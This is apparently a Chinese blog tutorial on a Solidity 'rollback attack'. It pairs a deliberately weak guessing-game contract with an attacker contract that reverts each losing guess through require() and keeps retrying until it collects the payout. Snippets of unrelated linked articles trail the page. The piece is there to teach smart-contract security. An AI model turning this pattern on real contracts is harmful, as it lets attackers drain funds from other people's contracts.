区块链 智能合约安全 | 回滚攻击

news/2025/1/22 8:50:54/

  视频教程在我主页简介和专栏里

目录:

智能合约安全

  回滚攻击

   总结

 

智能合约安全

回滚攻击

回滚攻击的本质是”耍赖” 举一个简单的例子,两个人玩石头剪刀布,输了的给对方10块钱,现在A输了,A说这把不算,重来


放在Solidity中,require()函数会检测其中的条件是否满足,如果不满足则回滚本次交易(或者说取消本次交易)


require()函数的用法有很多,比如你的智能合约是用来赚钱的 别人交易时会将eth发送到你的合约上 require()函数可以用来判断对方是否发送了eth 是否发送了足够的eth


又或者, 你有一个提现函数, 用来将合约中的eth提现到你自己的以太坊账户中 那么这个函数在调用时就要用require()检查是不是管理员发起的提现 如果不检查 那岂不是所有人都可以从你的合约里面提eth了吗


接下来再说耍赖是怎么一回事 我们先来看这样一段代码

contract Guess { function guess_number(uint8 number) public payable returns (bool) { require(msg.value == 1 ether); // 收取 1 eth 的参与费 uint8 num1 = 86; // 这里应该是一个随机数, 但为了方便讲解设置成一个固定值 if (number == num1) { // 如果猜对了 address payable add = payable(msg.sender); add.transfer(10 ether); return true; } else { return false; } } function draw() public payable { // 用来往合约里直接存钱的函数, 方便测试 }}

代码是一个猜数字游戏, 每次猜需要发送1eth 如果猜对了就会奖励 10 eth


与重入漏洞类似 如果发起交易的是个人 那么这段代码是没什么问题的 但如果发起交易的是另一个合约呢? 另一个合约可以根据该合约返回的是 true 还是 false,使用 require 去回滚交易(或者说取消交易), 来”耍赖”


接下来展示一下攻击代码​​​​​​​

contract Attack { Guess guess; constructor(address guess_address) { guess = Guess(guess_address); } function attack(uint8 number) public { bool b = guess.guess_number{value:1 ether}(number); require(b == true, "aaa"); } function draw() public payable { // 用来往合约里直接存钱的函数, 方便测试 } fallback() external payable { }}

注意, 这里必须要有 fallback() 函数, 不然合约不能接收转来的 ether 这里的逻辑就是, 传入一个数字去猜数字, 如果猜错了, 对方返回false 那么近通过require函数去回滚交易

接下来就是测试 当部署好之后 向两个合约里都先存点 eth


然后先输入一个错误的数字, 调用攻击合约中的 attack 方法

如图可以看到抛出了我们猜错数字抛出的异常, 我们的 ether 也没有减少

那么输入正确的数字再次尝试

可以看到, 交易正常被确认, 我们也拿到了猜对数字的奖励


总结

智能合约上去玩这些至少目前是不可能的, 首先区块链上无法生成真随机数, 伪随机数是完全可以被预测的, 而就算不去推演这个伪随机数, 也可以通过回滚攻击的方式去耍赖. 另外提一下, 如果目标合约不返回true, false这些, 也可以根据检查本合约的以太币是否增加来判断是否回滚交易.

 

 视频教程在我主页简介和专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关  

 


http://www.ppmy.cn/news/1565181.html

相关文章

为什么数据库不应该使用外键

一、引言 当我们需要持久化地存储数据时,关系型数据库通常是首选。它不仅种类丰富、稳定,而且得到了广泛社区的支持。本文将探讨关系型数据库中的一个重要概念——外键(Foreign Key)。 二、外键的作用 在关系型数据库中&#xf…

02内存结构篇(D4_JVM内存分配机制)

目录 一、对象的创建 1. 类加载检查 2. 分配内存 3. 初始化零值 4. 设置对象头 32位对象头 64位对象头 5. 执行方法 二、对象大小与指针压缩 三、对象内存分配 1. 对象内存分配流程图 2. 对象栈上分配 3.3 对象在Eden区分配 3.4 大对象直接进入老年代 3.5 长期存…

md中的特殊占位文件路径的替换

结构 :::readFile /xx/xx.vue :::将/xx/xx.vue进行替换出来 const extractContentAll (str, prefix, suffix) > {const pattern new RegExp(${prefix}(.*?)${suffix}, "sg");const match str.match(pattern);return match ? match : null;};const extractC…

QD Laser携“Lantana”激光器参展SPIE光子学西部展2025,聚焦紧凑型设计

据悉,QD Laser公司将在2025年SPIE光子学西部展览会上展出其最新产品——世界最小一体化紧凑型可见光激光器“Lantana”。该展会将于1月28日至30日在旧金山的Moscone中心举行。 在展会期间,QD Laser公司将现场展示这款超小型、轻便设备—— “Lantana”。…

mysql精简单机版,免登录,可复制,不启动服务与本机mysql无冲突

突然有了个需要在本地使用的mysql需求,要求不用安装,随拷随用,不影响其他mysql服务,占用空间小.基于这种需求做了个精简版的mysql 首先下载mysql的zip安装包 > windows 64位 > https://repo.huaweicloud.com/mysql/Downloads/MySQL-5.7/mysql-5.7.36-winx64…

记录一次 centos 启动失败

文章目录 现场1分析1现场2分析2搜索实际解决过程 现场1 一次断电,导致 之前能正常启动的centos 7.7 起不来了有部分log , 关键信息如下 [1.332724] XFS(sda3): Internal error xfs ... at line xxx of fs/xfs/xfs_trans.c [1.332724] XFS(sda3): Corruption of in-memory data…

无人机飞手考证难度增加,实操、地面站教学技术详解

随着无人机技术的快速发展和广泛应用,无人机飞手考证的难度确实在不断增加。这主要体现在对飞手的实操技能和地面站操作技术的要求上。以下是对无人机飞手考证中实操和地面站教学技术的详细解析: 一、实操教学技术详解 1. 无人机基础知识学习&#xff1…

C++17 新的求值顺序规则:小白友好版指南

嘿,C 小白们!今天,我们要聊一个听起来有点枯燥,但实际上超重要的话题——C17 中的求值顺序规则。别急,我会用最通俗易懂的方式,带你一步步搞懂这个知识点,让你在编程路上少走弯路,写…